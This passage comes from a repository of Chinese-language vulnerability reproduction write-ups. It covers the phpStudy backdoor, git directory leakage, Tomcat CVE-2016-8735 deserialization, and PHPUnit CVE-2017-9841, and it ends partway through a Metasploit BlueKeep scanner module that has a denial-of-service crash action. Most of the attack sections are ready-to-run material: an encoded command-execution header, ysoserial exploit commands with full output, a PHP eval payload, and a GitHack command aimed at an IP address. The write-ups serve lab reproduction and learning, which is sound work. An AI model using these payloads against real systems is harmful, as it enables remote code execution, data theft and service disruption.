19 | phpstudy 2016和phpstudy 2018自带的php-5.2.17、php-5.4.45
20 | 
21 | # 0x05 漏洞复现
22 | 攻击环境：kali_x64_en-us
23 | 
24 | burp抓包，请求头中添加字段：Accept-Charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7  
25 | 上述字符串是“echo system("net user");”base64编码后的字符串，结果如下图  
26 | ![image](./1.png)  
27 | 需要注意，发送的数据包头部中：Accept-Enconding:gzio, deflate有一处问题，deflate与前面的逗号之间有一个空格，需要手动删除，不然无法成功执行命令
28 | 
29 | # 0x06 踩坑记录
30 | 无
31 | 
32 | # 0x07 参考链接
33 | 无
34 | 
35 | # 注意
36 | 我当时寻找有漏洞的版本花了好多时间，现将我寻找到有效版本分享给大家，漏洞环境大于25MB，不能上传到github中，使用百度云分享  
37 | phpstudy2016分享，提取码：ybdt，链接：https://pan.baidu.com/s/1-dX55n6xT5hNcBYkxicOBg  
38 | phpstudy2018分享，提取码：ybdt，链接：https://pan.baidu.com/s/1bLX53txLZx4NQAwTsM4BQA
39 | 


--------------------------------------------------------------------------------
/2020_11_11_“git泄漏”漏洞复现/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_“git泄漏”漏洞复现/0.png


--------------------------------------------------------------------------------
/2020_11_11_“git泄漏”漏洞复现/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_“git泄漏”漏洞复现/1.png


--------------------------------------------------------------------------------
/2020_11_11_“git泄漏”漏洞复现/GitHack-master.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_11_“git泄漏”漏洞复现/GitHack-master.zip


--------------------------------------------------------------------------------
/2020_11_11_“git泄漏”漏洞复现/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | git：分布式版本控制系统
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：攻防世界中的环境  
 6 | 复现版本：无
 7 | 
 8 | # 0x02 环境搭建
 9 | 无
10 | 
11 | # 0x03 利用条件
12 | 无
13 | 
14 | # 0x04 影响版本
15 | 无
16 | 
17 | # 0x05 漏洞复现
18 | 攻击环境：kali_x64_en-us
19 | 
20 | git clone https://github.com/lijiejie/GitHack  
21 | cd ./GitHack-master  
22 | python ./GitHack.py http://124.126.19.106:31232/.git/  
23 | 如下图  
24 | ![image](./0.png)  
25 | ![image](./1.png)  
26 | 
27 | # 0x06 踩坑记录
28 | 无
29 | 
30 | # 0x07 参考链接
31 | 无
32 | 


--------------------------------------------------------------------------------
/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a0.png


--------------------------------------------------------------------------------
/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a1.png


--------------------------------------------------------------------------------
/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a2.png


--------------------------------------------------------------------------------
/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a3.png


--------------------------------------------------------------------------------
/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/a4.png


--------------------------------------------------------------------------------
/2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）/readme.md:
--------------------------------------------------------------------------------
  1 | # 0x00 软件介绍
  2 | Tomcat：一款流行的java web应用服务器
  3 | 
  4 | # 0x01 复现环境
  5 | 使用环境：本地搭建的环境  
  6 | 复现版本：Apache Tomcat 8.0.36
  7 | 
  8 | # 0x02 环境搭建
  9 | 靶机环境：win7_ult_x64_zh-chs
 10 | 
 11 | 下载并解压apache-tomcat-8.0.36.zip  
 12 | 下载并安装jdk-7u79-windows-x64.exe  
 13 | 配置环境变量JAVA_HOME（这里有一点需要注意：配置环境变量JAVA_HOME前也可在cmd.exe下执行“java.exe -version”，原因是jdk安装完毕后会自动将java.exe及相关文件拷贝到c:\windows\system32\下）  
 14 | 在conf/server.xml中添加以下语句  
 15 | ```
 16 | <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
 17 | ```
 18 | ![image](./a0.png)  
 19 | 然后下载catalina-jmx-remote.jar包和groovy-2.3.9.jar包，放到tomcat的lib目录下  
 20 | 注意：  
 21 | 1、下载的catalina-jmx-remote.jar要与对应tomcat版本一致，一般这个jar在官方tomcat下载目录的extras文件夹里  
 22 | 2、下载groovy，版本最好为2.3.9，官网已经不提供下载了，附上下载地址：https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9  
 23 | 接着修改bin/catalina.bat，在Execute The Requested Command上面添加  
 24 | ```
 25 | set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
 26 | ```
 27 | -Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯  
 28 | -Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证  
 29 | ![image](./a1.png)  
 30 | 最后运行bin/startup.bat启动tomcat!  
 31 | ![image](./a2.png)  
 32 | 查看目标是否启动了JmxRemoteLifecycleListener，即是否监听端口10001，10002，经查看，已启动  
 33 | ![image](./a3.png)
 34 | 
 35 | # 0x03 利用条件
 36 | 目标是否启动了JmxRemoteLifecycleListener，即是否监听端口10001，10002
 37 | 
 38 | # 0x04 影响版本
 39 | Apache Tomcat 9.0.0.M1 to 9.0.0.M11  
 40 | Apache Tomcat 8.5.0 to 8.5.6  
 41 | Apache Tomcat 8.0.0.RC1 to 8.0.38  
 42 | Apache Tomcat 7.0.0 to 7.0.72  
 43 | Apache Tomcat 6.0.0 to 6.0.47
 44 | 
 45 | # 0x05 漏洞复现
 46 | 攻击环境：Kali-Linux-2020.2-vmware-amd64
 47 | 
 48 | 下载ysoserial，执行  
 49 | ```
 50 | java -cp ./ysoserial-master-6eca5bc740-1.jar ysoserial.exploit.RMIRegistryExploit 192.168.149.134 10001 Groovy1 calc.exe
 51 | ```
 52 | 可以看到靶机上弹出了计算器  
 53 | ![image](./a4.png)
 54 | 
 55 | # 0x06 踩坑记录
 56 | 坑1：  
 57 | tomcat相同版本，在java 1.8.0_131下无法弹出计算机。觉得这个漏洞应该还和java版本有关。和groovy版本也有关  
 58 | 坑2：  
 59 | 利用成功，ysoserial输出如下  
 60 | ```
 61 | Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
 62 | WARNING: An illegal reflective access operation has occurred
 63 | WARNING: Illegal reflective access by org.codehaus.groovy.reflection.CachedClass$3$1 (file:/root/Desktop/ysoserial-master-6eca5bc740-1.jar) to method java.lang.Object.finalize()
 64 | WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.reflection.CachedClass$3$1
 65 | WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
 66 | WARNING: All illegal access operations will be denied in a future release
 67 | java.lang.ClassCastException: java.lang.ProcessImpl cannot be cast to java.util.Set
 68 |         at com.sun.proxy.$Proxy9.entrySet(Unknown Source)
 69 |         at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:443)
 70 |         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 71 |         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
 72 |         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
 73 |         at java.lang.reflect.Method.invoke(Method.java:606)
 74 |         at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
 75 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
 76 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
 77 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
 78 |         at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
 79 |         at java.util.HashMap.readObject(HashMap.java:1180)
 80 |         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 81 |         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
 82 |         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
 83 |         at java.lang.reflect.Method.invoke(Method.java:606)
 84 |         at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
 85 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
 86 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
 87 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
 88 |         at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)
 89 |         at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:500)
 90 |         at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:427)
 91 |         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 92 |         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
 93 |         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
 94 |         at java.lang.reflect.Method.invoke(Method.java:606)
 95 |         at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
 96 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
 97 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
 98 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
 99 |         at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)
100 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1915)
101 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
102 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
103 |         at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
104 |         at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source)
105 |         at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:409)
106 |         at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)
107 |         at sun.rmi.transport.Transport$2.run(Transport.java:202)
108 |         at sun.rmi.transport.Transport$2.run(Transport.java:199)
109 |         at java.security.AccessController.doPrivileged(Native Method)
110 |         at sun.rmi.transport.Transport.serviceCall(Transport.java:198)
111 |         at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
112 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
113 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
114 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
115 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
116 |         at java.security.AccessController.doPrivileged(Native Method)
117 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
118 |         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
119 |         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
120 |         at java.lang.Thread.run(Thread.java:745)
121 |         at java.rmi/sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:303)
122 |         at java.rmi/sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:279)
123 |         at java.rmi/sun.rmi.server.UnicastRef.invoke(UnicastRef.java:380)
124 |         at java.rmi/sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:73)
125 |         at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
126 |         at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
127 |         at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
128 |         at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
129 |         at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
130 | ```
131 | 利用失败，ysoserial输出如下  
132 | ```
133 | $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.228.152 10001 Groovy1 calc.exe
134 | java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
135 |         java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
136 |         java.lang.ClassNotFoundException: org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI class loader disabled)
137 |         at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:419)
138 |         at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)
139 |         at sun.rmi.transport.Transport$2.run(Transport.java:202)
140 |         at sun.rmi.transport.Transport$2.run(Transport.java:199)
141 |         at java.security.AccessController.doPrivileged(Native Method)
142 |         at sun.rmi.transport.Transport.serviceCall(Transport.java:198)
143 |         at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
144 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
145 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
146 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
147 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
148 |         at java.security.AccessController.doPrivileged(Native Method)
149 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
150 |         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
151 |         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
152 |         at java.lang.Thread.run(Thread.java:745)
153 |         at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(Unknown Source)
154 |         at sun.rmi.transport.StreamRemoteCall.executeCall(Unknown Source)
155 |         at sun.rmi.server.UnicastRef.invoke(Unknown Source)
156 |         at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
157 |         at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:44)
158 |         at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:38)
159 |         at ysoserial.secmgr.ExecCheckingSecurityManager.wrap(ExecCheckingSecurityManager.java:72)
160 |         at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:38)
161 |         at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:32)
162 | Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
163 |         java.lang.ClassNotFoundException: org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI class loader disabled)
164 |         at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source)
165 |         at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:409)
166 |         at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)
167 |         at sun.rmi.transport.Transport$2.run(Transport.java:202)
168 |         at sun.rmi.transport.Transport$2.run(Transport.java:199)
169 |         at java.security.AccessController.doPrivileged(Native Method)
170 |         at sun.rmi.transport.Transport.serviceCall(Transport.java:198)
171 |         at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
172 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
173 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
174 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
175 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
176 |         at java.security.AccessController.doPrivileged(Native Method)
177 |         at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
178 |         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
179 |         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
180 |         at java.lang.Thread.run(Thread.java:745)
181 | Caused by: java.lang.ClassNotFoundException: org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI class loader disabled)
182 |         at sun.rmi.server.LoaderHandler.loadClass(LoaderHandler.java:393)
183 |         at sun.rmi.server.LoaderHandler.loadClass(LoaderHandler.java:185)
184 |         at java.rmi.server.RMIClassLoader$2.loadClass(RMIClassLoader.java:637)
185 |         at java.rmi.server.RMIClassLoader.loadClass(RMIClassLoader.java:264)
186 |         at sun.rmi.server.MarshalInputStream.resolveClass(MarshalInputStream.java:214)
187 |         at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1612)
188 |         at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1517)
189 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1771)
190 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
191 |         at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)
192 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1915)
193 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
194 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
195 |         at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)
196 |         at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:500)
197 |         at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:427)
198 |         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
199 |         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
200 |         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
201 |         at java.lang.reflect.Method.invoke(Method.java:606)
202 |         at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
203 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
204 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
205 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
206 |         at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
207 |         at java.util.HashMap.readObject(HashMap.java:1180)
208 |         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
209 |         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
210 |         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
211 |         at java.lang.reflect.Method.invoke(Method.java:606)
212 |         at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
213 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
214 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
215 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
216 |         at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)
217 |         at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:500)
218 |         at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:427)
219 |         at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
220 |         at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
221 |         at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
222 |         at java.lang.reflect.Method.invoke(Method.java:606)
223 |         at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017)
224 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893)
225 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
226 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
227 |         at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1990)
228 |         at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1915)
229 |         at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798)
230 |         at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350)
231 |         at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
232 |         ... 17 more
233 | ```
234 | 
235 | # 0x07 参考链接
236 | https://blog.csdn.net/littlehaes/article/details/104451590  
237 | https://gv7.me/articles/2018/CVE-2016-8735/  
238 | https://github.com/frohoff/ysoserial  
239 | http://cn.voidcc.com/question/p-zmdzyjue-bbh.html
240 | 


--------------------------------------------------------------------------------
/2020_11_13_Microsoft SQL Server Reporting Services权限提升漏洞复现（CVE-2020-0618）/readme.md:
--------------------------------------------------------------------------------
1 | 此篇文章之前已投稿到先知社区，此处不再赘述，地址：https://xz.aliyun.com/t/7891
2 | 


--------------------------------------------------------------------------------
/2020_11_13_PHPUnit远程代码执行漏洞复现（CVE-2017-9841）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_13_PHPUnit远程代码执行漏洞复现（CVE-2017-9841）/0.png


--------------------------------------------------------------------------------
/2020_11_13_PHPUnit远程代码执行漏洞复现（CVE-2017-9841）/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_11_13_PHPUnit远程代码执行漏洞复现（CVE-2017-9841）/1.png


--------------------------------------------------------------------------------
/2020_11_13_PHPUnit远程代码执行漏洞复现（CVE-2017-9841）/readme.md:
--------------------------------------------------------------------------------
 1 | # 0x00 软件介绍
 2 | PHPUnit：一款php下软件测试常用的框架
 3 | 
 4 | # 0x01 复现环境
 5 | 使用环境：vulhub中的环境  
 6 | 复现版本：PHPUnit 5.6.2
 7 | 
 8 | # 0x02 环境搭建
 9 | 靶机环境：Ubuntu 18.04.5 LTS
10 | 
11 | cd ./vulhub-master/  
12 | cd ./phpunit/  
13 | cd ./CVE-2017-9841/  
14 | docker-compose build  
15 | docker-compose up -d
16 | 
17 | # 0x03 利用条件
18 | 使用composer安装受影响版本的PHPUnit
19 | 
20 | # 0x04 影响版本
21 | 4.8.19 <= PHPUnit <= 4.8.27  
22 | 5.0.10 <= PHPUnit <= 5.6.2
23 | 
24 | # 0x05 漏洞复现
25 | 攻击环境：kali_x64_en-us
26 | 
27 | 访问http://ybdt.best:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  
28 | 直接在请求中添加
29 | ```
30 | <?phpinfo();?>
31 | ```
32 | 如下图  
33 | ![image](./0.png)  
34 | 结果如下  
35 | ![image](./1.png)  
36 | 
37 | # 0x06 踩坑记录
38 | 坑1：  
39 | 在本地搭建环境，网络可能会非常非常慢，建议找一台云服务器
40 | 
41 | # 0x07 参考链接
42 | 无
43 | 


--------------------------------------------------------------------------------
/2020_11_13_iis6.0（cve-2017-7269）最完整的利用，从远程利用，到本地提权，再到常见失败原因/readme.md:
--------------------------------------------------------------------------------
1 | 此篇文章之前已投稿到先知社区，此处不再赘述，地址：https://xz.aliyun.com/t/6485
2 | 


--------------------------------------------------------------------------------
/2020_11_15_Windows RDP服务远程代码执行漏洞复现（CVE-2019-0708）-BlueKeep/cve_2019_0708_bluekeep.rb:
--------------------------------------------------------------------------------
  1 | ##
  2 | # This module requires Metasploit: https://metasploit.com/download
  3 | # Current source: https://github.com/rapid7/metasploit-framework
  4 | ##
  5 | 
  6 | class MetasploitModule < Msf::Auxiliary
  7 |   include Msf::Exploit::Remote::RDP
  8 |   include Msf::Auxiliary::Scanner
  9 |   include Msf::Auxiliary::Report
 10 | 
 11 |   def initialize(info = {})
 12 |     super(update_info(info,
 13 |       'Name'           => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check',
 14 |       'Description'    => %q{
 15 |         This module checks a range of hosts for the CVE-2019-0708 vulnerability
 16 |         by binding the MS_T120 channel outside of its normal slot and sending
 17 |         non-DoS packets which respond differently on patched and vulnerable hosts.
 18 |         It can optionally trigger the DoS vulnerability.
 19 |       },
 20 |       'Author'         =>
 21 |         [
 22 |           'National Cyber Security Centre', # Discovery
 23 |           'JaGoTu',                         # Module
 24 |           'zerosum0x0',                     # Module
 25 |           'Tom Sellers'                     # TLS support, packet documenentation, DoS implementation
 26 |         ],
 27 |       'References'     =>
 28 |         [
 29 |           [ 'CVE', '2019-0708' ],
 30 |           [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
 31 |         ],
 32 |       'DisclosureDate' => '2019-05-14',
 33 |       'License'        => MSF_LICENSE,
 34 |       "Actions" => [
 35 |         ["Scan", "Description" => "Scan for exploitable targets"],
 36 |         ["Crash", "Description" => "Trigger denial of service vulnerability"],
 37 |       ],
 38 |       "DefaultAction" => "Scan",
 39 |       'Notes'          =>
 40 |         {
 41 |           'Stability' => [ CRASH_SAFE ],
 42 |           'AKA'       => ['BlueKeep']
 43 |         }
 44 |     ))
 45 |   end
 46 | 
 47 |   def report_goods
 48 |     report_vuln(
 49 |       :host  => rhost,
 50 |       :port  => rport,
 51 |       :proto => 'tcp',
 52 |       :name  => self.name,
 53 |       :info  => 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
 54 |       :refs  => self.references
 55 |     )
 56 |   end
 57 | 
 58 |   def run_host(ip)
 59 |     # Allow the run command to call the check command
 60 | 
 61 |     status = check_host(ip)
 62 |     if status == Exploit::CheckCode::Vulnerable
 63 |       print_good(status[1].to_s)
 64 |     elsif status == Exploit::CheckCode::Unsupported  # used to display custom msg error
 65 |       status = Exploit::CheckCode::Safe
 66 |       print_status("The target service is not running or refused our connection.")
 67 |     else
 68 |       print_status(status[1].to_s)
 69 |     end
 70 | 
 71 |     status
 72 |   end
 73 | 
 74 |   def rdp_reachable
 75 |     rdp_connect
 76 |     rdp_disconnect
 77 |     return true
 78 |   rescue Rex::ConnectionRefused
 79 |     return false
 80 |   rescue Rex::ConnectionTimeout
 81 |     return false
 82 |   end
 83 | 
 84 |   def check_host(_ip)
 85 |     # The check command will call this method instead of run_host
 86 |     status = Exploit::CheckCode::Unknown
 87 | 
 88 |     begin
 89 |       begin
 90 |         rdp_connect
 91 |       rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
 92 |         return Exploit::CheckCode::Unsupported # used to display custom msg error
 93 |       end
 94 | 
 95 |       status = check_rdp_vuln
 96 |     rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
 97 |       bt = e.backtrace.join("\n")
 98 |       vprint_error("Unexpected error: #{e.message}")
 99 |       vprint_line(bt)
100 |       elog("#{e.message}\n#{bt}")
101 |     rescue RdpCommunicationError
102 |       vprint_error("Error communicating RDP protocol.")
103 |       status = Exploit::CheckCode::Unknown
104 |     rescue Errno::ECONNRESET
105 |       vprint_error("Connection reset")
106 |     rescue => e
107 |       bt = e.backtrace.join("\n")
108 |       vprint_error("Unexpected error: #{e.message}")
109 |       vprint_line(bt)
110 |       elog("#{e.message}\n#{bt}")
111 |     ensure
112 |       rdp_disconnect
113 |     end
114 | 
115 |     status
116 |   end
117 | 
118 |   def check_for_patch
119 |     begin
120 |       6.times do
121 |         _res = rdp_recv
122 |       end
123 |     rescue RdpCommunicationError
124 |       # we don't care
125 |     end
126 | 
127 |     # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length
128 |     # The arch governs which of the packets triggers the desired response
129 |     # which is an MCS Disconnect Provider Ultimatum or a timeout.
130 | 
131 |     # Disconnect Provider message of a valid size for each platform
132 |     # has proven to be safe to send as part of the vulnerability check.
133 |     x86_string = "00000000020000000000000000000000"
134 |     x64_string = "0000000000000000020000000000000000000000000000000000000000000000"
135 | 
136 |     if action.name == 'Crash'
137 |       vprint_status("Sending denial of service payloads")
